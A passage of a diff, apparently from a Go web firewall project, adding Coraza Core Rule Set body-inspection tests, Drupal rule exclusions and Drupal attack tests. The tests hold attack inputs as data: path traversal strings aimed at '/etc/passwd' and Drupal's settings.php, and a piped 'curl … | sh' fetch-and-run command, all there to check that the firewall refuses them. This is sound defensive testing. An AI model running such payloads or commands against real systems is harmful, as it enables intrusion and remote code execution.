t.Parallel() + + off, on := atDefaults(t), readingBodies(t) + + for _, tc := range []struct{ header, body string }{ + {formData, "q=" + url.QueryEscape(injection)}, + {multipart, field("q", injection) + end}, + {jsonBody, `{"q":"` + injection + `"}`}, + {xmlBody, "" + injection + ""}, + } { + wantBody(t, off, post(tc.header), tc.body, coreruleset.Result{}, "") + wantBody(t, on, post(tc.header), tc.body, matched(942100), tc.body) + } +} + +func TestFormDataAndMultipartAreReadUpToTheLimit(t *testing.T) { + t.Parallel() + + crs := readingBodies(t) + pad := strings.Repeat("a", bodyLimit) + + for _, tc := range []struct{ header, attackFirst, attackLast string }{ + { + formData, "q=" + url.QueryEscape(injection) + "&pad=" + pad, + "pad=" + pad + "&q=" + url.QueryEscape(injection), + }, + { + multipart, field("q", injection) + field("pad", pad) + end, + field("pad", pad) + field("q", injection) + end, + }, + } { + wantBody(t, crs, post(tc.header), tc.attackFirst, matched(942100), + tc.attackFirst[:bodyLimit+1]) + wantBody(t, crs, post(tc.header), tc.attackLast, coreruleset.Result{}, + tc.attackLast[:bodyLimit+1]) + } + + // To the byte: a system file's path is found when it ends at the limit, + // and not when its last letter is past it, which is still read. + atLimit := padded("pad=", "&q=/etc/passwd", bodyLimit) + wantBody(t, crs, post(formData), atLimit, matched(930120, 932160), atLimit) + + pastLimit := padded("pad=", "&q=/etc/passwd", bodyLimit+1) + wantBody(t, crs, post(formData), pastLimit, coreruleset.Result{}, pastLimit) +} + +func TestJSONAndXMLAreReadOnlyWhenNoLargerThanTheLimit(t *testing.T) { + t.Parallel() + + crs := readingBodies(t) + + for _, tc := range []struct{ header, head, tail string }{ + {jsonBody, `{"q":"` + injection + `","pad":"`, `"}`}, + {xmlBody, "" + injection + "", ""}, + } { + fits := padded(tc.head, tc.tail, bodyLimit) + wantBody(t, crs, post(tc.header), fits, matched(942100), fits) + + larger := padded(tc.head, tc.tail, bodyLimit+1) + wantBody(t, crs, post(tc.header), larger, coreruleset.Result{}, larger) + } +} + +func TestOtherBodiesAreNotRead(t *testing.T) { + t.Parallel() + + crs := readingBodies(t) + + // Read as form data, which the Core Rule Set does with a body of a type + // it does not know, this would be an SQL injection. + body := "q=" + url.QueryEscape(injection) + + for _, header := range []string{ + "Content-Type: application/octet-stream", + "Content-Type: text/plain", + "Content-Type: application/x-git-receive-pack-request", + } { + wantBody(t, crs, post(header), body, coreruleset.Result{}, "") + } +} + +func TestContentEncodingIsRefusedOnTheKindsOfBodyTheCoreRuleSetReads(t *testing.T) { + t.Parallel() + + const gzip = "Content-Encoding: gzip" + + crs := readingBodies(t) + + for _, tc := range []struct{ header, body string }{ + {formData, "a=1"}, + {multipart, field("a", "1") + end}, + {jsonBody, `{"a":1}`}, + {xmlBody, "1"}, + } { + wantBody(t, crs, post(tc.header, gzip), tc.body, matched(920450), tc.body) + } + + // Whatever its size: a JSON body larger than the limit is not read, but + // Content-Encoding on it is refused all the same. + larger := strings.Repeat("a", bodyLimit+1) + wantBody(t, crs, post(jsonBody, gzip), larger, matched(920450), larger) + + // It is allowed on a body of any other kind, and on every body while no + // body is read. + fetch := "Content-Type: application/x-git-upload-pack-request" + wantBody(t, crs, post(fetch, gzip), "a", coreruleset.Result{}, "") + wantBody(t, atDefaults(t), post(formData, gzip), "a", coreruleset.Result{}, "") +} + +func TestParametersGiteaSendsNamesInAreLeftOutAmongFormFieldsToo(t *testing.T) { + t.Parallel() + + crs := readingBodies(t) + local := url.QueryEscape("http://127.0.0.1:52341/") + + for _, tc := range []struct { + body string + want coreruleset.Result + }{ + {"path=.gitignore", coreruleset.Result{}}, + {"q=.gitignore", matched(930120)}, + {"redirect_uri=" + local, coreruleset.Result{}}, + {"next=" + local, matched(931100, 934110)}, + } { + wantBody(t, crs, post(formData), tc.body, tc.want, tc.body) + } + + body := field("path", ".gitignore") + end + wantBody(t, crs, post(multipart), body, coreruleset.Result{}, body) + + body = field("q", ".gitignore") + end + wantBody(t, crs, post(multipart), body, matched(930120), body) + + // A JSON body's field is named by its path, here json.path, and is + // checked. + body = `{"path":".gitignore"}` + wantBody(t, crs, post(jsonBody), body, matched(930120), body) +} + +func TestGiteaBodiesTheCoreRuleSetRefuses(t *testing.T) { + t.Parallel() + + crs := readingBodies(t) + + // A comment that shows a shell command. + const text = "Try `curl -s https://example.org | sh` first." + + comment := "content=" + url.QueryEscape(text) + wantBody(t, crs, post(formData), comment, matched(932235), comment) + + // An attachment named like a log file. + attachment := "--b\r\nContent-Disposition: form-data; name=\"file\"; " + + "filename=\"debug.log\"\r\nContent-Type: text/plain\r\n\r\nstarted\r\n" + end + wantBody(t, crs, post(multipart), attachment, matched(932180), attachment) +} + +func TestTypesEndingInXMLOrJSONAndTextJSONAreRead(t *testing.T) { + t.Parallel() + + crs := readingBodies(t) + + for _, tc := range []struct{ contentType, body string }{ + {"application/atom+xml", "" + injection + ""}, + {"application/vnd.example+xml", "" + injection + ""}, + {"application/vnd.example+json", `{"q":"` + injection + `"}`}, + {"text/json", `{"q":"` + injection + `"}`}, + } { + wantBody(t, crs, post("Content-Type: "+tc.contentType), tc.body, + matched(942100), tc.body) + } +} + +func TestBodyCorazaCannotParseIsAMatch(t *testing.T) { + t.Parallel() + + crs := readingBodies(t) + + // An end tag after the root element, past which Coraza reads none of + // the body, while an app may still read the attack before it. + body := "" + injection + "" + wantBody(t, crs, post(xmlBody), body, matched(900440), body) + + // The multipart bodies Coraza cannot parse fail its strict checks too: + // one whose type names its boundary twice, and one with a part header + // that has no colon, before the attack. They do so padded past the + // limit too, which cuts them in the padding. + noColon := "--b\r\nContent-Disposition form-data; name=\"a\"\r\n\r\n1\r\n" + pad := field("pad", strings.Repeat("a", bodyLimit)) + + for _, tc := range []struct{ header, head string }{ + {multipart + "; boundary=c", ""}, + {multipart, noColon}, + } { + body = tc.head + field("q", injection) + end + wantBody(t, crs, post(tc.header), body, matched(900440, 900450), body) + + body = tc.head + field("q", injection) + pad + end + wantBody(t, crs, post(tc.header), body, matched(900440, 900450), + body[:bodyLimit+1]) + } +} + +func TestMultipartBodyCutBeforeAPartHeadersColonIsAMatch(t *testing.T) { + t.Parallel() + + // The limit falls in the middle of the name of the second part's + // header, which Coraza, reading up to the limit, cannot tell from a + // header without a colon. + cut := "--b\r\nContent-Di" + first := field("pad", strings.Repeat("a", bodyLimit-len(field("pad", ""))-len(cut))) + body := first + cut + "sposition: form-data; name=\"q\"\r\n\r\n1\r\n" + end + + wantBody(t, readingBodies(t), post(multipart), body, matched(900440, 900450), + body[:bodyLimit+1]) +} + +func TestMultipartBodyCutBeforeALineFeedInAPartsHeadersIsAMatch(t *testing.T) { + t.Parallel() + + crs := readingBodies(t) + headerLine := "--b\r\nContent-Disposition: form-data; name=\"q\"\r" + + // The limit falls between the carriage return and the line feed that + // end the second part's header line, and then between those that end + // the empty line after it. Coraza, reading up to the limit, takes the + // line ending in a lone carriage return for a malformed header. + for _, cut := range []int{len(headerLine), len(headerLine + "\n\r")} { + first := field("pad", strings.Repeat("a", bodyLimit-len(field("pad", ""))-cut)) + body := first + field("q", "1") + end + + wantBody(t, crs, post(multipart), body, matched(900440, 900450), + body[:bodyLimit+1]) + } +} + +// TestCorazaWritesNoFile is not parallel, since it sets TMPDIR, the +// system's temporary directory, for the whole test process. +func TestCorazaWritesNoFile(t *testing.T) { + // The system's temporary directory is one that does not exist, so that + // Coraza could write nothing there: built without no_fs_access, it + // refuses to load, and could not write a file of a multipart body. + t.Setenv("TMPDIR", filepath.Join(t.TempDir(), "missing")) + + // The test loads its own Core Rule Set, since loading is part of what + // it checks. + crs, err := coreruleset.New(coreruleset.Params{ + ParanoiaLevel: 1, DisabledRules: defaultDisabledRules, BodyLimit: bodyLimit, + }) + if err != nil { + t.Fatalf("load the Core Rule Set: %v", err) + } + + body := "--b\r\nContent-Disposition: form-data; name=\"file\"; " + + "filename=\"notes.txt\"\r\nContent-Type: text/plain\r\n\r\n" + + strings.Repeat("a", 1000) + "\r\n" + field("q", injection) + end + wantBody(t, crs, post(multipart), body, matched(942100), body) +} + +func TestBodyLimitOf1GLoads(t *testing.T) { + t.Parallel() + + _, err := coreruleset.New(coreruleset.Params{ParanoiaLevel: 1, BodyLimit: 1 << 30}) + if err != nil { + t.Errorf("load the Core Rule Set reading bodies up to 1G: %v", err) + } +} diff --git a/internal/coreruleset/drupal.conf b/internal/coreruleset/drupal.conf new file mode 100644 index 0000000..685fee6 --- /dev/null +++ b/internal/coreruleset/drupal.conf @@ -0,0 +1,230 @@ +# The tenth change: on Drupal's paths, some fields skip the rules that refused +# ordinary Drupal requests there. They are the fields where Drupal sends a +# search, a name, a file name or an address. Each exclusion runs with the +# request, before the rules it switches off, so this file is loaded before the +# Core Rule Set's rules. Each comment names a request a rule refused. An +# exclusion on a field of a body applies only when the query has no parameter +# of that name, so it matters only while SWW_WAF_BODY_LIMIT is set. The +# exclusions above the comment "The fields below are in bodies" also cover a +# body field of the same name whatever the query holds, and only those below it +# need a query without that name. +# +# Each path may start with a language prefix, such as /fr in +# /fr/admin/content. The prefix is two or three letters, then optionally a +# hyphen and more letters, as in /pt-br. +# +# Four rules read a search or a name as a command or a system file: +# 930120: .htaccess +# 932120: powershell +# 932250: ls -la +# 932260: python3 +# Each query exclusion below removes these four from its fields, with two +# exceptions. Rule 900806 removes only 930120 and 932120 from url. Two more +# rules misfire on destination, the address of a page of results, so +# destination alone skips them too: +# 932230: ls -la +# 932235: python3 + +# Every admin page's filters and autocompletes, and the page to return to: +# title: /admin/content?title=python3 +# name: /admin/content/media?name=python3 +# user: /admin/people?user=python3 +# filename, filemime: /admin/content/files?filename=python3 +# info: /admin/content/block?info=python3 +# subject, author_name: /admin/content/comment?subject=python3 +# search: /admin/config/search/path?search=python3 +# q: /admin/views/ajax/autocomplete/tag?q=python3 +# destination: /admin/content?destination=/admin/content%3Ftitle%3Dpython3 +SecRule REQUEST_FILENAME "@rx ^(?:/[a-z]{2,3}(?:-[a-z]+)?)?/admin(?:/|$)" \ + "id:900800,phase:1,pass,nolog,\ + ctl:ruleRemoveTargetById=930120;ARGS:/^(?:title|name|user|filename|filemime|info|subject|author_name|search|q|destination)$/,\ + ctl:ruleRemoveTargetById=932120;ARGS:/^(?:title|name|user|filename|filemime|info|subject|author_name|search|q|destination)$/,\ + ctl:ruleRemoveTargetById=932230;ARGS:destination,\ + ctl:ruleRemoveTargetById=932235;ARGS:destination,\ + ctl:ruleRemoveTargetById=932250;ARGS:/^(?:title|name|user|filename|filemime|info|subject|author_name|search|q|destination)$/,\ + ctl:ruleRemoveTargetById=932260;ARGS:/^(?:title|name|user|filename|filemime|info|subject|author_name|search|q|destination)$/" + +# The page to return to, on the other pages Drupal links to with one, such as +# /node/1/edit?destination=/search/node%3Fkeys%3Dpython3, +# /node/2/revisions/3/revert?destination=/admin/content%3Ftitle%3Dpython3 and +# /big_pipe/no-js?destination=/admin/content%3Ftitle%3Dpython3. +SecRule REQUEST_FILENAME \ + "@rx ^(?:/[a-z]{2,3}(?:-[a-z]+)?)?/(?:node/(?:add/[^/]+|[0-9]+/[a-z]+|[0-9]+/revisions/[0-9]+/(?:revert|delete))|comment/[0-9]+/[a-z]+|media/(?:add/[^/]+|[0-9]+/[a-z]+)|taxonomy/term/[0-9]+/[a-z]+|user/[^/]+(?:/[a-z]+)?|block/add/[^/]+|big_pipe/no-js)$" \ + "id:900801,phase:1,pass,nolog,\ + ctl:ruleRemoveTargetById=930120;ARGS:destination,\ + ctl:ruleRemoveTargetById=932120;ARGS:destination,\ + ctl:ruleRemoveTargetById=932230;ARGS:destination,\ + ctl:ruleRemoveTargetById=932235;ARGS:destination,\ + ctl:ruleRemoveTargetById=932250;ARGS:destination,\ + ctl:ruleRemoveTargetById=932260;ARGS:destination" + +# The text searched for on the search pages: /search/node?keys=python3. +SecRule REQUEST_FILENAME "@rx ^(?:/[a-z]{2,3}(?:-[a-z]+)?)?/search(?:/|$)" \ + "id:900802,phase:1,pass,nolog,\ + ctl:ruleRemoveTargetById=930120;ARGS:keys,\ + ctl:ruleRemoveTargetById=932120;ARGS:keys,\ + ctl:ruleRemoveTargetById=932250;ARGS:keys,\ + ctl:ruleRemoveTargetById=932260;ARGS:keys" + +# What is typed into a field that autocompletes a tag, a user, a link in the +# rich text editor or a block's category: +# /entity_reference_autocomplete/taxonomy_term/default/KEY?q=python3 +# /ckeditor5/basic_html/entity-link-suggestions?q=python3 +# /block-category/autocomplete?q=python3 +SecRule REQUEST_FILENAME \ + "@rx ^(?:/[a-z]{2,3}(?:-[a-z]+)?)?/(?:entity_reference_autocomplete/|ckeditor5/[^/]+/entity-link-suggestions$|block-category/autocomplete$)" \ + "id:900803,phase:1,pass,nolog,\ + ctl:ruleRemoveTargetById=930120;ARGS:q,\ + ctl:ruleRemoveTargetById=932120;ARGS:q,\ + ctl:ruleRemoveTargetById=932250;ARGS:q,\ + ctl:ruleRemoveTargetById=932260;ARGS:q" + +# The values a JSON:API client filters by, in fields named after what they +# filter: /jsonapi/node/article?filter[title]=python3 and +# filter[f][condition][value]=python3. +SecRule REQUEST_FILENAME "@rx ^(?:/[a-z]{2,3}(?:-[a-z]+)?)?/jsonapi/" \ + "id:900804,phase:1,pass,nolog,\ + ctl:ruleRemoveTargetById=930120;ARGS:/^filter\[/,\ + ctl:ruleRemoveTargetById=932120;ARGS:/^filter\[/,\ + ctl:ruleRemoveTargetById=932250;ARGS:/^filter\[/,\ + ctl:ruleRemoveTargetById=932260;ARGS:/^filter\[/" + +# A name, in the query or a body: the account whose password is reset, and +# the media library's filter by name: +# /user/password?name=python3 +# /media-library?media_library_opener_id=...&name=python3 +# /views/ajax?view_name=media_library&name=python3 +SecRule REQUEST_FILENAME \ + "@rx ^(?:/[a-z]{2,3}(?:-[a-z]+)?)?/(?:user/password|media-library|views/ajax)$" \ + "id:900805,phase:1,pass,nolog,\ + ctl:ruleRemoveTargetById=930120;ARGS:name,\ + ctl:ruleRemoveTargetById=932120;ARGS:name,\ + ctl:ruleRemoveTargetById=932250;ARGS:name,\ + ctl:ruleRemoveTargetById=932260;ARGS:name" + +# The address of a remote video shown in a page: +# 930120: /media/oembed?url=https%3A%2F%2Fvimeo.com%2Fchannels%2F.htaccess +# 932120: /media/oembed?url=https%3A%2F%2Fvimeo.com%2Fchannels%2Fpowershell +SecRule REQUEST_FILENAME "@rx ^(?:/[a-z]{2,3}(?:-[a-z]+)?)?/media/oembed$" \ + "id:900806,phase:1,pass,nolog,\ + ctl:ruleRemoveTargetById=930120;ARGS:url,\ + ctl:ruleRemoveTargetById=932120;ARGS:url" + +# The fields below are in bodies. Saving content sends its title, summary, tags, +# address, revision note, comment subject, media name and image text, which +# skip the same four rules there. A title such as "python3, ls -la and .htaccess" +# refused saving a node. +SecRule REQUEST_FILENAME \ + "@rx ^(?:/[a-z]{2,3}(?:-[a-z]+)?)?/(?:node/(?:add/[^/]+|[0-9]+/edit)|comment/(?:reply/[^/]+/[0-9]+/[^/]+(?:/[0-9]+)?|[0-9]+/edit)|media/(?:add/[^/]+|[0-9]+/edit))$" \ + "id:900810,phase:1,pass,nolog,chain" + SecRule &ARGS_GET:/^(?:title|subject|name|body|revision_log|path|field_tags|field_)/ "@eq 0" \ + "ctl:ruleRemoveTargetById=930120;ARGS:/^(?:(?:title|subject|name|revision_log|revision_log_message)\[0\]\[value\]|body\[0\]\[summary\]|path\[0\]\[alias\]|field_tags\[target_id\]|field_[a-z0-9_]+\[0\]\[(?:alt|title)\])$/,\ + ctl:ruleRemoveTargetById=932120;ARGS:/^(?:(?:title|subject|name|revision_log|revision_log_message)\[0\]\[value\]|body\[0\]\[summary\]|path\[0\]\[alias\]|field_tags\[target_id\]|field_[a-z0-9_]+\[0\]\[(?:alt|title)\])$/,\ + ctl:ruleRemoveTargetById=932250;ARGS:/^(?:(?:title|subject|name|revision_log|revision_log_message)\[0\]\[value\]|body\[0\]\[summary\]|path\[0\]\[alias\]|field_tags\[target_id\]|field_[a-z0-9_]+\[0\]\[(?:alt|title)\])$/,\ + ctl:ruleRemoveTargetById=932260;ARGS:/^(?:(?:title|subject|name|revision_log|revision_log_message)\[0\]\[value\]|body\[0\]\[summary\]|path\[0\]\[alias\]|field_tags\[target_id\]|field_[a-z0-9_]+\[0\]\[(?:alt|title)\])$/" + +# The rich text editor sends HTML in body and comment_body. Each of these rules +# refused saving a node or a comment whose HTML held an image and a code block +# with a shell script, an SQL query and JavaScript, so they skip those fields: +# 930120, 932120, 932125, 932140, 932160, 932230, 932235, 932250, 932260, +# 934100, 941160, 941390, 942170 and 942230. +SecRule REQUEST_FILENAME \ + "@rx ^(?:/[a-z]{2,3}(?:-[a-z]+)?)?/(?:node/(?:add/[^/]+|[0-9]+/edit)|comment/(?:reply/[^/]+/[0-9]+/[^/]+(?:/[0-9]+)?|[0-9]+/edit))$" \ + "id:900811,phase:1,pass,nolog,chain" + SecRule &ARGS_GET:/^(?:comment_)?body\[/ "@eq 0" \ + "ctl:ruleRemoveTargetById=930120;ARGS:/^(?:comment_)?body\[0\]\[value\]$/,\ + ctl:ruleRemoveTargetById=932120;ARGS:/^(?:comment_)?body\[0\]\[value\]$/,\ + ctl:ruleRemoveTargetById=932125;ARGS:/^(?:comment_)?body\[0\]\[value\]$/,\ + ctl:ruleRemoveTargetById=932140;ARGS:/^(?:comment_)?body\[0\]\[value\]$/,\ + ctl:ruleRemoveTargetById=932160;ARGS:/^(?:comment_)?body\[0\]\[value\]$/,\ + ctl:ruleRemoveTargetById=932230;ARGS:/^(?:comment_)?body\[0\]\[value\]$/,\ + ctl:ruleRemoveTargetById=932235;ARGS:/^(?:comment_)?body\[0\]\[value\]$/,\ + ctl:ruleRemoveTargetById=932250;ARGS:/^(?:comment_)?body\[0\]\[value\]$/,\ + ctl:ruleRemoveTargetById=932260;ARGS:/^(?:comment_)?body\[0\]\[value\]$/,\ + ctl:ruleRemoveTargetById=934100;ARGS:/^(?:comment_)?body\[0\]\[value\]$/,\ + ctl:ruleRemoveTargetById=941160;ARGS:/^(?:comment_)?body\[0\]\[value\]$/,\ + ctl:ruleRemoveTargetById=941390;ARGS:/^(?:comment_)?body\[0\]\[value\]$/,\ + ctl:ruleRemoveTargetById=942170;ARGS:/^(?:comment_)?body\[0\]\[value\]$/,\ + ctl:ruleRemoveTargetById=942230;ARGS:/^(?:comment_)?body\[0\]\[value\]$/" + +# A JSON:API client saving a node or a comment sends the same HTML in the +# JSON field body.value or comment_body.value, which skips the rules above. A +# title, summary, subject, name, revision note, block description or tag +# description beside it skips 930120, 932120, 932250 and 932260. A tag named +# python3 refused saving it. +SecRule REQUEST_FILENAME "@rx ^(?:/[a-z]{2,3}(?:-[a-z]+)?)?/jsonapi/" \ + "id:900812,phase:1,pass,nolog,chain" + SecRule &ARGS_GET:/^json\.data\.attributes\./ "@eq 0" \ + "ctl:ruleRemoveTargetById=930120;ARGS:/^json\.data\.attributes\.(?:title|subject|name|revision_log|info|description\.value|body\.summary|(?:comment_)?body\.value)$/,\ + ctl:ruleRemoveTargetById=932120;ARGS:/^json\.data\.attributes\.(?:title|subject|name|revision_log|info|description\.value|body\.summary|(?:comment_)?body\.value)$/,\ + ctl:ruleRemoveTargetById=932250;ARGS:/^json\.data\.attributes\.(?:title|subject|name|revision_log|info|description\.value|body\.summary|(?:comment_)?body\.value)$/,\ + ctl:ruleRemoveTargetById=932260;ARGS:/^json\.data\.attributes\.(?:title|subject|name|revision_log|info|description\.value|body\.summary|(?:comment_)?body\.value)$/,\ + ctl:ruleRemoveTargetById=932230;ARGS:/^json\.data\.attributes\.(?:comment_)?body\.value$/,\ + ctl:ruleRemoveTargetById=932235;ARGS:/^json\.data\.attributes\.(?:comment_)?body\.value$/,\ + ctl:ruleRemoveTargetById=932125;ARGS:/^json\.data\.attributes\.(?:comment_)?body\.value$/,\ + ctl:ruleRemoveTargetById=932140;ARGS:/^json\.data\.attributes\.(?:comment_)?body\.value$/,\ + ctl:ruleRemoveTargetById=932160;ARGS:/^json\.data\.attributes\.(?:comment_)?body\.value$/,\ + ctl:ruleRemoveTargetById=934100;ARGS:/^json\.data\.attributes\.(?:comment_)?body\.value$/,\ + ctl:ruleRemoveTargetById=941160;ARGS:/^json\.data\.attributes\.(?:comment_)?body\.value$/,\ + ctl:ruleRemoveTargetById=941390;ARGS:/^json\.data\.attributes\.(?:comment_)?body\.value$/,\ + ctl:ruleRemoveTargetById=942170;ARGS:/^json\.data\.attributes\.(?:comment_)?body\.value$/,\ + ctl:ruleRemoveTargetById=942230;ARGS:/^json\.data\.attributes\.(?:comment_)?body\.value$/" + +# Signing in, in name and pass or the JSON fields of the same names. A +# password holds any characters: +# 930120: a password ending in /etc/hosts, or a name of .htaccess +# 932120: a password or a name of powershell +# 932250: a password or a name of ls -la +# 932260: a password or a name starting with python3 +SecRule REQUEST_FILENAME "@rx ^(?:/[a-z]{2,3}(?:-[a-z]+)?)?/user/login$" \ + "id:900813,phase:1,pass,nolog,chain" + SecRule &ARGS_GET:/^(?:json\.)?(?:name|pass)$/ "@eq 0" \ + "ctl:ruleRemoveTargetById=930120;ARGS:/^(?:json\.)?(?:name|pass)$/,\ + ctl:ruleRemoveTargetById=932120;ARGS:/^(?:json\.)?(?:name|pass)$/,\ + ctl:ruleRemoveTargetById=932250;ARGS:/^(?:json\.)?(?:name|pass)$/,\ + ctl:ruleRemoveTargetById=932260;ARGS:/^(?:json\.)?(?:name|pass)$/" + +# A person's name and email address, when signing up, when editing an +# account and when commenting without an account. A name of python3 refused +# signing up, and python3@example.com refused saving an account. An address +# keeps 932250, which no recorded address set off. +SecRule REQUEST_FILENAME \ + "@rx ^(?:/[a-z]{2,3}(?:-[a-z]+)?)?/(?:user/register|user/[0-9]+/edit|comment/reply/[^/]+/[0-9]+/[^/]+(?:/[0-9]+)?)$" \ + "id:900814,phase:1,pass,nolog,chain" + SecRule &ARGS_GET:/^(?:name|mail)$/ "@eq 0" \ + "ctl:ruleRemoveTargetById=930120;ARGS:/^(?:name|mail)$/,\ + ctl:ruleRemoveTargetById=932120;ARGS:/^(?:name|mail)$/,\ + ctl:ruleRemoveTargetById=932250;ARGS:name,\ + ctl:ruleRemoveTargetById=932260;ARGS:/^(?:name|mail)$/" + +# Saving a tag, a custom block or a contact message sends its name, +# description, block description, body, subject or message, which skip the +# same four rules. A tag named python3 refused saving it. +SecRule REQUEST_FILENAME \ + "@rx ^(?:/[a-z]{2,3}(?:-[a-z]+)?)?/(?:admin/structure/taxonomy/manage/[^/]+/add|taxonomy/term/[0-9]+/edit|block/add/[^/]+|admin/content/block/[0-9]+|contact(?:/[^/]+)?|user/[0-9]+/contact)$" \ + "id:900815,phase:1,pass,nolog,chain" + SecRule &ARGS_GET:/^(?:name|description|info|body|subject|message)\[/ "@eq 0" \ + "ctl:ruleRemoveTargetById=930120;ARGS:/^(?:name|description|info|body|subject|message)\[0\]\[value\]$/,\ + ctl:ruleRemoveTargetById=932120;ARGS:/^(?:name|description|info|body|subject|message)\[0\]\[value\]$/,\ + ctl:ruleRemoveTargetById=932250;ARGS:/^(?:name|description|info|body|subject|message)\[0\]\[value\]$/,\ + ctl:ruleRemoveTargetById=932260;ARGS:/^(?:name|description|info|body|subject|message)\[0\]\[value\]$/" + +# A client saving a node in Drupal's JSON format sends its title in the JSON +# field title.0.value: PATCH /node/2?_format=json with a title of python3. +SecRule REQUEST_FILENAME "@rx ^(?:/[a-z]{2,3}(?:-[a-z]+)?)?/node/[0-9]+$" \ + "id:900816,phase:1,pass,nolog,chain" + SecRule &ARGS_GET:/^json\.title\./ "@eq 0" \ + "ctl:ruleRemoveTargetById=930120;ARGS:json.title.0.value,\ + ctl:ruleRemoveTargetById=932120;ARGS:json.title.0.value,\ + ctl:ruleRemoveTargetById=932250;ARGS:json.title.0.value,\ + ctl:ruleRemoveTargetById=932260;ARGS:json.title.0.value" + +# A client resetting a password in Drupal's JSON format sends the account in +# the JSON field name: POST /user/password?_format=json with a name of python3. +SecRule REQUEST_FILENAME "@rx ^(?:/[a-z]{2,3}(?:-[a-z]+)?)?/user/password$" \ + "id:900817,phase:1,pass,nolog,chain" + SecRule &ARGS_GET:json.name "@eq 0" \ + "ctl:ruleRemoveTargetById=930120;ARGS:json.name,\ + ctl:ruleRemoveTargetById=932120;ARGS:json.name,\ + ctl:ruleRemoveTargetById=932250;ARGS:json.name,\ + ctl:ruleRemoveTargetById=932260;ARGS:json.name" diff --git a/internal/coreruleset/drupal_test.go b/internal/coreruleset/drupal_test.go new file mode 100644 index 0000000..2bf644e --- /dev/null +++ b/internal/coreruleset/drupal_test.go @@ -0,0 +1,439 @@ +package coreruleset_test + +import ( + "net/http" + "net/url" + "slices" + "testing" +) + +// drupalThreshold is SWW_WAF_ANOMALY_THRESHOLD's default. +const drupalThreshold = 5 + +// drupalAddArticle is Drupal's form for a new article. +const drupalAddArticle = "/node/add/article" + +// drupalSignIn is Drupal's sign-in page. +const drupalSignIn = "/user/login" + +// drupalJSONSignIn is Drupal's sign-in in its JSON format. +const drupalJSONSignIn = "/user/login?_format=json" + +// drupalJSONPasswordReset is Drupal's password reset in its JSON format. +const drupalJSONPasswordReset = "/user/password?_format=json" + +// drupalTagForm is Drupal's form for a new tag. +const drupalTagForm = "/admin/structure/taxonomy/manage/tags/add" + +// drupalEditAccount is Drupal's form for editing an account. +const drupalEditAccount = "/user/2/edit" + +// drupalName is the field for a person's name, as the start of a form body. +const drupalName = "name=" + +func TestOrdinaryDrupalRequestsPass(t *testing.T) { + t.Parallel() + + wantRecordedRequestsPass(t, "drupal-requests.txt") +} + +// drupalAttacks are an SQL injection, a path traversal and a script +// injection, as a query value. +// +//nolint:gochecknoglobals // a constant cannot be a list +var drupalAttacks = []string{ + sqlInjection, + "..%2F..%2Fsites%2Fdefault%2Fsettings.php", + scriptInjection, +} + +func TestDrupalAttacksAreRefusedInTheExcludedQueryFields(t *testing.T) { + t.Parallel() + + crs := atDefaults(t) + + for _, attack := range drupalAttacks { + for _, target := range []string{ + "/?id=", + "/admin/content?id=", + "/admin/content?title=", + "/admin/content/media?name=", + "/admin/people?user=", + "/admin/content/files?filename=", + "/admin/content/files?filemime=", + "/admin/content/block?info=", + "/admin/content/comment?subject=", + "/admin/content/comment?author_name=", + "/admin/config/search/path?search=", + "/admin/content?destination=", + "/admin/foo?q=", + "/node/1/edit?destination=", + "/user/login?destination=", + "/search/node?keys=", + "/search?keys=", + "/entity_reference_autocomplete/user/default/KEY?q=", + "/jsonapi/node/article?filter%5Btitle%5D=", + "/jsonapi/node/article?filter%5Bf%5D%5Bcondition%5D%5Bvalue%5D=", + "/user/password?name=", + "/media-library?name=", + "/views/ajax?name=", + "/ckeditor5/basic_html/entity-link-suggestions?q=", + "/block-category/autocomplete?q=", + "/media/oembed?url=", + "/big_pipe/no-js?destination=", + "/node/2/revisions/3/revert?destination=", + "/node/2/revisions/3/delete?destination=", + "/block/add/basic?destination=", + "/fr/admin/content?title=", + "/fr/search/node?keys=", + } { + if got := inspect(t, crs, get(target+attack)); got.Score < drupalThreshold { + t.Errorf("%s%s let through: %+v", target, attack, got) + } + } + } +} + +func TestDrupalAttacksAreRefusedInTheExcludedBodyFields(t *testing.T) { + t.Parallel() + + crs := readingBodies(t) + + const reply = "/comment/reply/node/1/comment" + + for _, attack := range drupalAttacks { + for _, sent := range []struct{ target, body string }{ + {drupalAddArticle, "title%5B0%5D%5Bvalue%5D=" + attack}, + {drupalAddArticle, "body%5B0%5D%5Bvalue%5D=" + attack}, + {"/node/1/edit", "body%5B0%5D%5Bsummary%5D=" + attack}, + {reply, "comment_body%5B0%5D%5Bvalue%5D=" + attack}, + {reply, "subject%5B0%5D%5Bvalue%5D=" + attack}, + {reply, drupalName + attack}, + {drupalSignIn, "pass=" + attack}, + {drupalSignIn, drupalName + attack}, + {"/fr/user/login", drupalName + attack}, + {"/user/register", drupalName + attack}, + {drupalEditAccount, "mail=" + attack}, + {drupalTagForm, "name%5B0%5D%5Bvalue%5D=" + attack}, + {drupalTagForm, "description%5B0%5D%5Bvalue%5D=" + attack}, + {"/block/add/basic", "info%5B0%5D%5Bvalue%5D=" + attack}, + {"/admin/content/block/1", "body%5B0%5D%5Bvalue%5D=" + attack}, + {"/contact/feedback", "subject%5B0%5D%5Bvalue%5D=" + attack}, + {"/user/2/contact", "message%5B0%5D%5Bvalue%5D=" + attack}, + } { + r := request{http.MethodPost, sent.target, []string{formData}} + + got, _ := inspectBody(t, crs, r, sent.body) + if got.Score < drupalThreshold { + t.Errorf("POST %s %q let through: %+v", sent.target, sent.body, got) + } + } + } + + for _, attack := range []string{ + injection, + scriptTag, + } { + for _, field := range []string{ + `"title":"` + attack + `"`, + `"body":{"value":"` + attack + `"}`, + `"name":"` + attack + `"`, + `"revision_log":"` + attack + `"`, + `"info":"` + attack + `"`, + `"description":{"value":"` + attack + `"}`, + } { + r := request{ + http.MethodPost, "/jsonapi/node/article", + []string{"Content-Type: application/vnd.api+json"}, + } + body := `{"data":{"attributes":{` + field + `}}}` + + got, _ := inspectBody(t, crs, r, body) + if got.Score < drupalThreshold { + t.Errorf("POST %s %s let through: %+v", r.target, body, got) + } + } + + r := request{http.MethodPatch, "/node/2?_format=json", []string{jsonBody}} + body := `{"title":[{"value":"` + attack + `"}]}` + + got, _ := inspectBody(t, crs, r, body) + if got.Score < drupalThreshold { + t.Errorf("PATCH %s %s let through: %+v", r.target, body, got) + } + + r = request{http.MethodPost, drupalJSONSignIn, []string{jsonBody}} + body = `{"name":"` + attack + `","pass":"example"}` + + got, _ = inspectBody(t, crs, r, body) + if got.Score < drupalThreshold { + t.Errorf("POST %s %s let through: %+v", r.target, body, got) + } + } +} + +func TestDrupalAttacksAreRefusedInTheJSONPasswordReset(t *testing.T) { + 